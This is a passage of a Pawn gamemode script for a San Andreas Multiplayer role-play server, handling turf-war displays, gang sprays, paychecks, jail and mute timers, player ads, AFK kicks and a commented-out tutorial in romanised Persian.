	RepairVehicle(veh);
	SetVehicleHealth(veh,1000000.0);
	}
	}
	SetPlayerKoon(true, i, 100000);
}
if(OnWar[i] != 9999) {
	new minbaghi,secbaghi,TurfTimerEx[50];
	TurfTimerEx[OnWar[i]] = TurfTime[OnWar[i]];
	new mem;
	if(PINFO[i][pLeader] != 0) mem = PINFO[i][pLeader];
	else mem = PINFO[i][pMember];
	if(mem == turfattacker[OnWar[i]])
	{
	   for(new c = 0;c<100;c++)
	   {
		  if(TurfTimerEx[OnWar[i]] >= 60)
		  {
			 TurfTimerEx[OnWar[i]] -= 60;
			 minbaghi ++;
			 new minebaghi = minbaghi*60;
			 secbaghi = TurfTime[OnWar[i]]-minebaghi;
			}
		}
		if(TurfTime[OnWar[i]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[i]]; }
		
		
	   new KA[512],DeaA[512],TRA[512],newtext[256];

	   format(KA, sizeof(KA), "Kills: %d", PlayerInfo[i][pKillW]);
	   PlayerTextDrawSetString(i, WarK[i], KA);

	   format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[i][pDeathW]);
	   PlayerTextDrawSetString(i, WarDea[i], DeaA);

	   format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW]);
	   PlayerTextDrawSetString(i, WarS[i], newtext);

	   format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
	   TextDrawSetString(WarTR[OnWar[i]], TRA);


	}
	else if(mem == turfkhod[OnWar[i]])
	{
	   for(new c = 0;c<100;c++)
	   {
		  if(TurfTimerEx[OnWar[i]] >= 60)
		  {
			 TurfTimerEx[OnWar[i]] -= 60;
			 minbaghi ++;
			 new minebaghi = minbaghi*60;
			 secbaghi = TurfTime[OnWar[i]]-minebaghi;
			}
		}
		
		if(TurfTime[OnWar[i]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[i]]; }
		
		new KA[512],DeaA[512],TRA[512],newtext[256];

	   format(KA, sizeof(KA), "Kills: %d", PlayerInfo[i][pKillW]);
	   PlayerTextDrawSetString(i, WarK[i], KA);

	   format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[i][pDeathW]);
	   PlayerTextDrawSetString(i, WarDea[i], DeaA);

	   format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW]);
	   PlayerTextDrawSetString(i, WarS[i], newtext);

	   format(TRA, sizeof(TRA),"Time Remaining: 00:%s%d:%s%d", (minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
	   TextDrawSetString(WarTR[OnWar[i]], TRA);

	}
}
	if(OnSpray[i] == 1) {
	if(DarsadSpray[PlayerInfo[i][pClan]][Spray[i]] < 100) {
	new spray[256];
	new darsad = DarsadSpray[PINFO[i][pClan]][Spray[i]];
	format(spray, sizeof(spray), "Spray: %i%", darsad);
	PlayerTextDrawSetString(i, shacklog2[i], spray);
	}
	else {
	new s = Spray[i];
	new c = PINFO[i][pClan];
	spInfo[s][sClan] = c;
	strmid(spInfo[s][sName], DynamicClans[c-1][cName], 0, strlen(DynamicClans[c-1][cName]), 128);
	strmid(spInfo[s][sTag], DynamicClans[c-1][cTag], 0, strlen(DynamicClans[c-1][cTag]), 128);
	strmid(spInfo[s][sColor], DynamicClans[c-1][cColor], 0, strlen(DynamicClans[c-1][cColor]), 128);


	DarsadPlayer[i] = 0;
	GameTextForPlayer(i, "~G~Congratulations !", 5000, 1);
	PlayerTextDrawHide(i, shacklog2[i]);

	OnSpray[i] = 0;
	SetTimerEx("cspray", 10000, false, "i", i);
	GameTextForPlayer(i, "~G~Congratulations !", 5000, 1);
	PlayerTextDrawHide(i, shacklog2[i]);

	PINFO[i][pSprays]++;
	SaveKonVal(i, "pSprays", PINFO[i][pSprays]);


	}
	}
if(GetPlayerPool(i) != GetPlayerMoney(i))
{
	ResetPlayerMoney(i);
	GivePlayerMoney(i,GetPlayerPool(i));
}
		  new newcar = GetPlayerVehicleID(i);
		  new level = PlayerInfo[i][pLevel];
		  if(PlayerInfo[i][pPremiumAccount] == 0 && gPlayerLogged[i] != 0 && AFK[i] != 1)
		  {
			 if(level >= 0 && level <= 2) { PlayerInfo[i][pPayCheck] += 0.08; }//Nemikhad save shan...
			 else if(level >= 3 && level <= 4) { PlayerInfo[i][pPayCheck] += 0.16; }
			 else if(level >= 5 && level <= 6) { PlayerInfo[i][pPayCheck] += 0.24; }
			 else if(level >= 7 && level <= 8) { PlayerInfo[i][pPayCheck] += 0.32; }
			 else if(level >= 9 && level <= 10) { PlayerInfo[i][pPayCheck] += 0.4; }
			 else if(level >= 11 && level <= 12) { PlayerInfo[i][pPayCheck] += 0.48; }
			 else if(level >= 13 && level <= 14) { PlayerInfo[i][pPayCheck] += 0.56; }
			 else if(level >= 15 && level <= 16) { PlayerInfo[i][pPayCheck] += 0.64; }
			 else if(level >= 17 && level <= 18) { PlayerInfo[i][pPayCheck] += 0.72; }
			 else if(level >= 19 && level <= 20) { PlayerInfo[i][pPayCheck] += 0.8; }
			 else if(level >= 21 && level <= 23) { PlayerInfo[i][pPayCheck] += 0.88; }
			 else if(level >= 24 && level <= 27) { PlayerInfo[i][pPayCheck] += 0.96; }
			 else if(level >= 28 && level <= 32) { PlayerInfo[i][pPayCheck] += 1.04; }
			 else if(level >= 33) { PlayerInfo[i][pPayCheck] += 1.12; }
		  }
		  if(PlayerInfo[i][pPremiumAccount] != 0 && gPlayerLogged[i] != 0)
		  {
			 if(level >= 0 && level <= 2) { PlayerInfo[i][pPayCheck] += 0.16; }
			 else if(level >= 3 && level <= 4) { PlayerInfo[i][pPayCheck] += 0.32; }
			 else if(level >= 5 && level <= 6) { PlayerInfo[i][pPayCheck] += 0.48; }
			 else if(level >= 7 && level <= 8) { PlayerInfo[i][pPayCheck] += 0.64; }
			 else if(level >= 9 && level <= 10) { PlayerInfo[i][pPayCheck] += 0.8; }
			 else if(level >= 11 && level <= 12) { PlayerInfo[i][pPayCheck] += 0.96; }
			 else if(level >= 13 && level <= 14) { PlayerInfo[i][pPayCheck] += 1.12; }
			 else if(level >= 15 && level <= 16) { PlayerInfo[i][pPayCheck] += 1.28; }
			 else if(level >= 17 && level <= 18) { PlayerInfo[i][pPayCheck] += 1.44; }
			 else if(level >= 19 && level <= 20) { PlayerInfo[i][pPayCheck] += 1.6; }
			 else if(level >= 21 && level <= 23) { PlayerInfo[i][pPayCheck] += 1.76; }
			 else if(level >= 24 && level <= 27) { PlayerInfo[i][pPayCheck] += 1.92; }
			 else if(level >= 28 && level <= 32) { PlayerInfo[i][pPayCheck] += 2.08; }
			 else if(level >= 33) { PlayerInfo[i][pPayCheck] += 2.24; }
		  }

		  if(IsPlayerConnected(i) && GetPlayerSurfingVehicleID(i) != INVALID_VEHICLE_ID && !IsABoat(GetPlayerSurfingVehicleID(i)) && Surfing[i] == 0 && SurfSv == 0)
		  {
			 if(soratbegirs(GetPlayerSurfingVehicleID(i)) <= 15) {}
			 else
			 {
				new Float:Uu[3];
				GetPlayerPos(i,Uu[0],Uu[1],Uu[2]);
				SetPlayerPos(i, Uu[0],Uu[1],Uu[2]);
			 }
		  }

			for(new b;b<Akharish;b++)
					   {
						  if(IsPlayerConnected(b) && IsPlayerStreamedIn(b, i))
						  {
							 OnPlayerStreamIn(b, i);
							 OnPlayerStreamIn(i, b);
						  }
					   }

		  if(PlayerInfo[i][pJailTime] > 0)
		  {
			 if(PlayerInfo[i][pJailTime] > 0/* && WantLawyer[i] == 0*/)
			 {
				PlayerInfo[i][pJailTime]--;
				SaveKonVal(i, "pJailTime", PINFO[i][pJailTime]);
				new strings[256];
				if(PINFO[i][pAdminJailed]==0)format(strings, sizeof(strings), "Jail Time Left: %d:%02d",PlayerInfo[i][pJailTime]/60,PlayerInfo[i][pJailTime]-(floatround(PlayerInfo[i][pJailTime]/60)*60));
				if(PINFO[i][pAdminJailed]!=0)if(PINFO[i][pAdminJailed]==0)format(strings, sizeof(strings), "Admin Jail Time Left: %d:%02d",PlayerInfo[i][pJailTime]/60,PlayerInfo[i][pJailTime]-(floatround(PlayerInfo[i][pJailTime]/60)*60));
				PlayerTextDrawSetString(i, JailTextDraw[i],strings);
			 }
			 if(PlayerInfo[i][pJailTime] <= 0)
			 {

					PlayerInfo[i][pJailTime] = 0;
					SaveKonVal(i, "pJailTime", PINFO[i][pJailTime]);
					SetPlayerPos(i,-989.430603, -617.714416, 32.030052);
					SetPlayerFacingAngle(i,0);
					SetPlayerInterior(i,0);
					SetPlayerVirtualWorld(i,0);
					if(IsInFaction(i)) { SetPlayerSkin(i,PlayerInfo[i][fSkin]); }
					else { SetPlayerSkin(i,PlayerInfo[i][cSkin]); }
					//if(PINFO[i][pAdmin] > 12) SetPlayerSkin(i, 217);
					Mahal[i] = 9999;
					TooHouse[i] = 9999;
					TooBiz[i] = 9999;
					PlayerTextDrawHide(i,JailTextDraw[i]);
				TogglePlayerControllable(i, 1);
				RemovePlayerAttachedObject(i, 1);
				SetPlayerSpecialAction(i,SPECIAL_ACTION_NONE);
				PlayerHandsCuffed[i] = 0;
				PlayerCuffed[i] = 0;
					PlayerInfo[i][pAdminJailed] = 0;
					SaveKonVal(i, "pAdminJailed", 0);
					AzadShode[i]=1;
					if(ImFararing[i]==1)
					{
					ImFararing[i]=0;
					YekiFararKarde=0;
					if(FararTime[i]!=0){KillTimer(FararTime[i]);FararTime[i]=0;}
					StopPrisonAlarm();
					}
				SendMessage(i, COLOR_LIGHTRED,"Warden: You've been released from jail.");
				SendMessage(i, COLOR_LIGHTRED,"Warden: Think about the time, before you do the crime.");
				SendMessage(i, COLOR_LIGHTRED,"Warden: For going out of jail, go on 'Bribe' pickup");
				format(string, sizeof(string), "~g~Freedom~n~~w~Try to be a better citizen");
				GameTextForPlayer(i, string, 5000, 1);
			   //////////////////////////////////////////////////////////////////////////////////////////
				//if(IsInFaction(i))                                                                   //
				//{                                                                                    //
				//PlayerTextDrawSetPreviewModel(i, SkinPreview[i], PINFO[i][fSkin]);                   //
				//PlayerTextDrawShow(i, SkinPreview[i]);                                               //
				//}                                                                                    //
				//else                                                                                 //
				//{                                                                                    //
				//PlayerTextDrawSetPreviewModel(i, SkinPreview[i], PINFO[i][cSkin]);                   //
				//PlayerTextDrawShow(i, SkinPreview[i]);                                               //
				//}                                                                                    //
			   //////////////////////////////////////////////////////////////////////////////////////////
				SetPlayerToTeamColor(i);
				SetPlayerInterior(i, 0);
					MedicBill[i] = 0;
					ResetPlayerKolang(i);
					SetPlayerPos(i, -989.430603, -617.714416, 32.030052);
					//SetSpawnKol(i);
					//SpawnPlayer(i);
			 }
		  }
		  else if(PlayerInfo[i][pMuteTime] > 0)
		  {
			 PlayerInfo[i][pMuteTime]--;
			 SaveKonVal(i, "pMuteTime", PINFO[i][pMuteTime]);
			 if(PlayerInfo[i][pMuteTime] <= 0)
			 {
				PlayerInfo[i][pMuteTime] = 0;
				SaveKonVal(i, "pMuteTime", PINFO[i][pMuteTime]);
				SendMessage(i, COLOR_LIGHTBLUE, "Your time of silence has ended.");
				format(string, 256, "Mute time has ended!");
				GameTextForPlayer(i, string, 5000, 1);
			 }
		  }
		  if(TimerAnnouncer[i] > 0) {TimerAnnouncer[i] --; if(TimerAnnouncer[i] <= 0) { Ghatel[i] = INVALID_PLAYER_ID; GhatelWanted[i] = 0; strdel(CrimeText[i], 0, 100); }}
		  if(IsABoat(newcar))
		  {
			 if(PlayerInfo[i][pBoatLic] < 1 && GetPlayerState(i) == 2)
			 {
				if(TakingsiLesson[i] == 1) { }
			 }
		  }
		  else if(IsAPlane(newcar))
		  {
			 if(PlayerInfo[i][pFlyLic] < 1 && GetPlayerState(i) == 2)
			 {
				if(TakingsiLesson[i] == 1) { }
			 }
		  }
		  else
		  {
			 if(PlayerInfo[i][pCarLic] < 1 && IsPlayerInAnyVehicle(i) && GetPlayerState(i) == 2)
			 {
				if(TakingLesson[i] == 1) { }
			 }
		  }//Done with car check
		  if(adtimer > 0) { adtimer --; }
		  if(adtimerplayer[i] > 0)
		  {
			 adtimerplayer[i] --;
			 if(adtimerplayer[i] == 0 && IsPlayerConnected(i) && gPlayerLogged[i] == 1 && Adplayer[i] == 1 && ThereIsAnyAdmin())
			 {
				new shomarebedeamoo = PlayerInfo[i][pPnumber];
				new sendername[MAX_PLAYER_NAME];
				new nesfshode[300];
				new strlolis[300];
				new strasl[300];
				GetPlayerName(i, sendername, sizeof(sendername));
				if(ImAddingNew[i] == 0)
				{
				if(strlen(adtextplayer[i])+strlen(PINFO[i][pName])+strlen("Ad Placed by  (Phone:  ): ") < 50) {format(strasl, 300, "Ad Placed by %s (Phone: {FFFFFF}%s{18E139}): %s.",sendername,FormatPhoneNumber(shomarebedeamoo),adtextplayer[i]);
				OOCNews(ADVERTISEMEN_COLOR,strasl);}
				else
				{
					new b = 0;
					for(new w;w<50;w++)
					{
					   strlolis[b] = adtextplayer[i][w];
					   b++;
					}
					b = 0;
					for(new w = 50;w<strlen(adtextplayer[i]);w++)
					{
					   nesfshode[b] = adtextplayer[i][w];
					   b++
					}
					format(strasl, 300 , "Ad Placed by %s (Phone: {FFFFFF}%s{18E139}): %s ...",sendername,FormatPhoneNumber(shomarebedeamoo),strlolis);
					OOCNews(ADVERTISEMEN_COLOR,strasl);
					format(strasl, 300 , "... %s.", nesfshode);
					OOCNews(ADVERTISEMEN_COLOR,strasl);
				}
				}
				if(ImAddingNew[i] == 1)
				{
				if(strlen(adtextplayer[i])+strlen(PINFO[i][pName])+strlen("Ad Placed by  (Phone:  ): ") < 50) {format(strasl, 300, "Ad Placed by %s (Phone: {FFFFFF}%s{009BFF}): %s.",sendername,FormatPhoneNumber(shomarebedeamoo),adtextplayer[i]);
				OOCNews(COLOR_NEWAD,strasl);}
				else
				{
					new b = 0;
					for(new w;w<50;w++)
					{
					   strlolis[b] = adtextplayer[i][w];
					   b++;
					}
					b = 0;
					for(new w = 50;w<strlen(adtextplayer[i]);w++)
					{
					   nesfshode[b] = adtextplayer[i][w];
					   b++
					}
					format(strasl, 300 , "Ad Placed by %s (Phone: {FFFFFF}%s{009BFF}): %s ...",sendername,FormatPhoneNumber(shomarebedeamoo),strlolis);
					OOCNews(COLOR_NEWAD,strasl);
					format(strasl, 300 , "... %s.", nesfshode);
					OOCNews(COLOR_NEWAD,strasl);
				}
				}
				adtimerplayer[i] = 0;
				myaddade[i] = 0;
				ImAddingNew[i] = 0;
			 }
		  }
		  if(UsedFind[i] >= 1)
		  {
			 UsedFind[i] += 1;
			 if(UsedFind[i] >= 120)
			 {
				UsedFind[i] = 0;
			 }
		  }
		  if(PINFO[i][pJailTime] > 0 && PINFO[i][pAdmin] < 1 && PINFO[i][pHelper] < 1)
		  {
			 new Float:ui[3];
			 GetPlayerPos(i, ui[0], ui[1], ui[2]);
			 if(ui[0] >= 1723.025024 && ui[0] <= 1808.025024 && ui[1] >= -1582.543090 && ui[1] <= -1536.632812 && ui[2] >= 1982.749633 && ui[2] <= 2018.235107) {}
			 else
			 {
				SpawnPlayer(i);
			 }
		  }
		  if(PlayerFish[i] >= 1)
		  {
			 PlayerFish[i] --;
		  }
		  if(MedicTime[i] > 0)
		  {
			 if(MedicTime[i] == 3)
			 {
				SetPlayerInterior(i, 5);
				new Float:X, Float:Y, Float:Z;
				GetPlayerPos(i, X,Y,Z);
				SetPlayerCameraPos(i, X + 3, Y, Z);
				SetPlayerCameraLookAt(i,X,Y,Z);
			 }
			 MedicTime[i] ++;
			 if(MedicTime[i] >= NeedMedicTime[i])
			 {
				TogglePlayerControllable(i, 1);
				MedicBill[i] = 0;
				MedicTime[i] = 0;
				NeedMedicTime[i] = 0;
				PlayerFixRadio(i);
				StopLoopingAnim(i);
				ResetPlayerKolang(i);
				SetSpawnKol(i);
				SpawnPlayer(i);
			 }
		  }
		  if(OnRentMashinMessage[i] == true && !IsPlayerInAnyVehicle(i))
		  {
			 TogglePlayerControllable(i, 1);
			 OnRentMashinMessage[i] = false;
			 GameTextForPlayer(i, " ", 500, 3);
		  }
		  if(ContractID[i] != INVALID_PLAYER_ID)
		  {
			 if(ContractsCount >= 2)
			 {
				if(PINFO[i][pHeadValue] >= 1)
				{
					if(AgentHiterID[i] == INVALID_PLAYER_ID)
					{
					   for(new b;b<Akharish;b++)
					   {
						  if(IsPlayerConnected(b))
						  {
							 if(PINFO[b][pMember] == 8 || PINFO[b][pLeader] == 8)
							 {
								if(AgentContractID[b] != INVALID_PLAYER_ID)
								{
									AgentHiterID[i] = b;
									AgentHitID[b] = i;
									new atring[144];
									format(atring,144,"There is a new contract for you, %s name is %s(%i)",(PINFO[i][pSex]==1)?("his"):("her"),PINFO[i][pName],i);
									SCM(b,COLOR_HITMAN,atring);
									ContractsCount --;
									ContractIDUsed[ContractID[i]] = false;
									ContractID[i] = INVALID_PLAYER_ID;
									AgentContractIDUsed[b] = false;
									AgentContractID[b] = INVALID_PLAYER_ID;
									break;
								}
							 }
						  }
					   }
					}
				}
			 }
		  }
		  if(GetPlayerState(i) == PLAYER_STATE_PASSENGER)
		  {
		  if(GetPlayerWeapon(i) == 30 || GetPlayerWeapon(i) == 29 || GetPlayerWeapon(i) == 31)
		  {} else { SetPlayerArmedWeapon(i,0); }
		  }
if(TimerRingTone[i] >= 1)
{
TimerRingTone[i] ++;
}
if(TimerRingTone[i] == 5)
{
PlayerPlaySound(i, 23000,0.0,0.0,0.0)
TimerRingTone[i] = 1;
}
		  if(WantLawyer[i] >= 1)
		  {
			 CallLawyer[i] = 111;
			 if(WantLawyer[i] == 1)
			 {
				SendMessage(i, COLOR_YELLOW2, "Do you want a Lawyer? (Type yes or no)");
			 }
			 WantLawyer[i] ++;
			 if(WantLawyer[i] == 8)
			 {
				SendMessage(i, COLOR_YELLOW2, "Do you want a Lawyer? (Type yes or no)");
			 }
			 if(WantLawyer[i] == 15)
			 {
				SendMessage(i, COLOR_YELLOW2, "Do you want a Lawyer? (Type yes or no)");
			 }
			 if(WantLawyer[i] == 20)
			 {
				SendMessage(i, COLOR_YELLOW2, "There is no Lawyer available to you anymore.");
				WantLawyer[i] = 0;
				CallLawyer[i] = 0;
			 }
		  }
		  if(AFK[i] == 0) AFKTime[i] ++;
		  if(AFKTime[i] == AFKTimeOnSV*60-120 && PINFO[i][pAdmin] < 7 && AFK[i] == 0 && PINFO[i][pJailTime] <= 0) SCM(i, COLOR_LIGHTRED, "Warning: You have 120 seconds to move or you'll kick due to afk.");
		  if(AFKTime[i] == WantedAFKTime*60-120 && GetPlayerWantedLevel(i) > 0 && PINFO[i][pAdmin] < 7 && PINFO[i][pJailTime] <= 0) SCM(i,COLOR_LIGHTRED,"Warning: You have 120 seconds to move or you'll kick due to afk(Wanted AFK).");
		  if(AFKTime[i] >= AFKTimeOnSV*60 && PINFO[i][pAdmin] < 7 && AFK[i] == 0 && PINFO[i][pJailTime] <= 0) PlayerIsAFKDetected(i);
		  if(AFKTime[i] >= WantedAFKTime*60 && GetPlayerWantedLevel(i) > 0 && PINFO[i][pAdmin] < 7 && PINFO[i][pJailTime] <= 0) WantedAFKDetected(i);
		  if(TutTime[i] >= 1)
		  {
			 TutTime[i] += 1;
			 SetPlayerKoon(true, i,100.0);
			 HealthAllowedForPlayer[i] = 0;
		  /*    if(TutTime[i] == 3)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -2592.4817, -250.2809, 50.0363);
				SetPlayerCameraLookAt(i, -2593.4553, -250.4990, 49.8615);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoroo{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 6)
			 {
				SendMessage(i, COLOR_TUT96, "Salam, Khosh amadid be Server ma (Azin Game) ma yek seri ghavanin haro behetoon neshoon midim.");
				SendMessage(i, COLOR_TUT96, "Tamame Bazikon Ha bayad bedoonan ke che kari ro mitoonan anjam bedan ya che kari ro nemitoonan anjam bedan ");
				SendMessage(i, COLOR_TUT96, "ma ye seri nokte haro dar ekhtiaretoon mizarim, agar soali bood forum maro bekhoonid(too bazi benevisid /forum).");
			 }
			 else if(TutTime[i] == 20)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -2667.4875, 374.8930, 58.3701);
				SetPlayerCameraLookAt(i, -2668.4871, 374.8922, 57.9753);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare Server{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 23)
			 {
				SendMessage(i, COLOR_TUT96, "In server darbareye mode Role Play hastesh (Mode zendegi).");
				SendMessage(i, COLOR_TUT96, "Ma player haiee ke bekhan inja Death match rah bendazan ro Ban mikonim (baraye 1 rooz).");
				SendMessage(i, COLOR_TUT96, "Esmi ke entekhab mikonid nabayad daraie kalamate gheire akhlaghi bashe vagarna Ban mishid.");
				SendMessage(i, COLOR_TUT96, "be kar bordan kalamate gheyre akhlaghi too server mamnooe.");
				SendMessage(i, COLOR_TUT96, "baraye etelaat bishtar darbare Role Play be Forum ma Sar bezanid (site ma : Www.Azin Game.iR).");
				SendMessage(i, COLOR_TUT96, "(Shoma mitoonid Forum ro Dar Webpage ma Peida konid : http://Www.Azin Game.iR).");
			 }
			 else if(TutTime[i] == 38)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -2031.5857, 353.3400, 88.2910);
				SetPlayerCameraLookAt(i, -2031.2098, 352.4133, 87.9613);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare komak{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 41)
			 {
				SendMessage(i, COLOR_TUT96, "Age shoma ehtiaj be komak darid mitoonid be yeki az helper ha begid(/helpers).");
				SCM(i, COLOR_TUT96, "(baraye darkhaste komak az komak konande ha(helper) az /helpme estefade konid.)");
				SendMessage(i, COLOR_TUT96, "Baraye komak khastan be player ha begid : Salam, mitoonid be man komak konid? ya be English: Hey,Can you Help me?.");
				SendMessage(i, COLOR_TUT96, "be kasi shelik nakon va ba kasi dava nakon.chon in kar to ro farde badi neshoon mide.");
				SendMessage(i, COLOR_TUT96, "shoma mitooni az command haye /call ya /sms estefade konid ta ba kasi sohbat konid.");
				SendMessage(i, COLOR_TUT96, "Shoma mitoonid hamishe forum ro check konid (http://Www.Azin Game.iR).");
			 }
			 else if(TutTime[i] == 58)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -2707.1687, 1313.6182, 65.8692);
				SetPlayerCameraLookAt(i, -2706.5752, 1312.8162, 65.7995);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoghl ha va faction ha{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 61)
			 {
				SendMessage(i, COLOR_TUT96, "Age shoma mikhaid ke pool dar biarid bayad yek shoghl ya faction dashte bashid ( baraye didane job ha va peida kardaneshoon az commande (/jobs) estefade konid.");
				SendMessage(i, COLOR_TUT96, "shoma MItoonid too in server Yek faction Va yek Job ba ham dashte bashid.");
				SendMessage(i, COLOR_TUT96, "baraye Ozv shodan dar faction ha Bayad az dakhele forum site too ghesmat application(narm afzar)marboot be har faction, post (ba tavajoh be nemoone post too poste aval) bedin .");
				SendMessage(i, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company ya Taxi Driver.");
				SendMessage(i, COLOR_TUT96, "Level 5+ (family ha) : Member The Killers Family, Dangerous Tiger Family, Storm Men Family, The Silence Mafia, Top Boys, Legendary Men ya Fast N Furious Family.");
				SendMessage(i, COLOR_TUT96, "Level 10+: Member Police Departament, FBI, National Guard, SFPD ya Hitman Agency. ");
				SendMessage(i, COLOR_TUT96, "Shoghl Ha: Detective, Lawyer, Car Mechanic, Drugs Dealer, Arms Dealer, Farmer, Car jacker, Bus Driver, Garbageman, Trucker.");
			 }
			 else if(TutTime[i] == 77)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -1522.5510, 539.6533, 82.8371);
				SetPlayerCameraLookAt(i, -1521.6035, 539.3401, 82.2274);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 80)
			 {
				SendMessage(i, COLOR_TUT96, "Dakhele Server Role Play Shoma mitoonid Level Bekharid.");
				SendMessage(i, COLOR_TUT96, "Baraye Level Up Kardan Bayad Shoma Respect Points Dashte Bashid Har Respect point = 1 saat bazi kardan dar server. ");
				SendMessage(i, COLOR_TUT96, "Ma Har Respect Points Ro Har Pay Day midim ( Sare Saat Yek Respect midim )");
				SendMessage(i, COLOR_TUT96, "Baraye Didane inke Shoma chand ta Respect Points darid Va Chand Ta Baraye Kharidane Level Bad Niaz Darid az Command /stats Komak begirid Ke Neveshte Respect:'x/x'.");
				SendMessage(i, COLOR_TUT96, "vaghti Shoma Respect Hatoon Kamel Shod Mesle Respect: 'x/x'.");
				SCM(i, COLOR_TUT96, "Bayad Ba tavajoh be Level Bad Pool Dashte bashid ta level bekharid va har moghe in Pool(dar bazi).");
				SCM(i, COLOR_TUT96, "Va Respect Points ro Dashtid mitoonid baraye Level up az commande /buylevel estefade konid.");
			 }
			 else if(TutTime[i] == 100)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -1180.1394, 27.2583, 17.6298);
				SetPlayerCameraLookAt(i, -1181.1384, 27.2638, 17.9301);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Taghalob ha va hack ha{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 103)
			 {
				SendMessage(i, COLOR_TUT96, "Be hich onvan az Cheat Ya taghalob Estefade nakonid ke IP shoma Permanently Ban Khahad Shod.");
				SendMessage(i, COLOR_TUT96, "Agar kasi az Cheat ya taghalob estefade mikard sari /report bedid Ta ma oon player ra ban konim.");
				SendMessage(i, COLOR_TUT96, "Ino Be Yad dashte Bashid Ke age Cheat bezanid Anti Cheat haye Ghavie Azin Game Ip shomaro baraye hamishe Ban mikone va digar nemitavanid Vared server shavid!.");
				SendMessage(i, COLOR_TUT96, "English : Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
			 }
			 else if(TutTime[i] == 123)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -1640.4900, -545.7268, 175.7513);
				SetPlayerCameraLookAt(i, -1639.8539, -544.9559, 174.8417);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Zaban{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 126)
			 {
				SendMessage(i, COLOR_TUT96, "Tamoome Bazikon Ha Hagh daran ke Ya az zabane English ya Az zabane Farsi Too server Estefade konan dar gheire in soorat Warn Migirid.");
				SendMessage(i, COLOR_TUT96, "Age Shoma Doost Darid Az Zaban Haye Digar dar server estefade konid az /b estefade konid.");
				SendMessage(i, COLOR_TUT96, "az CAPSLOCK moghe neveshtan estefade nakon va lotfan az kalamate dorost estefade kon.");
				SendMessage(i, COLOR_TUT96, "Shoma Hagh nadarid ke az Kalamate Bad estefade konid!.");
				SendMessage(i, COLOR_TUT96, "Tablighat Dar Bare Server Haye digar mesle Esme server ya IP server haye digar ,IP Shomaro Perement ban mikone.");
			 }
			 else if(TutTime[i] == 136)
			 {
			 SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, -2119.8645, -368.8832, 68.9332);
				SetPlayerCameraLookAt(i, -2120.6257, -369.5326, 68.5384);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Payan{FFFF00}_____|");
			 }
			 else if(TutTime[i] == 139)
			 {
				SendMessage(i, COLOR_TUT96, "Omid Varam Lahzate khoobo Khoshi ro too servere ma begzaroonid.");
				SendMessage(i, COLOR_TUT96, "age Khastid ke Dobare Tutorial Ro bebinid az '/rules' Ya '/tutorial' estefade konid.");
				SendMessage(i, COLOR_TUT96, "Azin Game Lahzate khoshi Ro baraye shoma arezoo mikone.");
				if(PINFO[i][pTut] == 0)
				{PlayerInfo[i][pTut] = 1; SaveKonVal(i, "pTut", 1);}
			 }
			 else if(TutTime[i] >= 142)
			 {
				*/
				MedicBill[i] = 0;
			 TutTime[i] = 0;
			 TogglePlayerSpectating(i, 0);
			 ResetPlayerKolang(i);
			 SetSpawnKol(i);
			 SpawnPlayer(i);
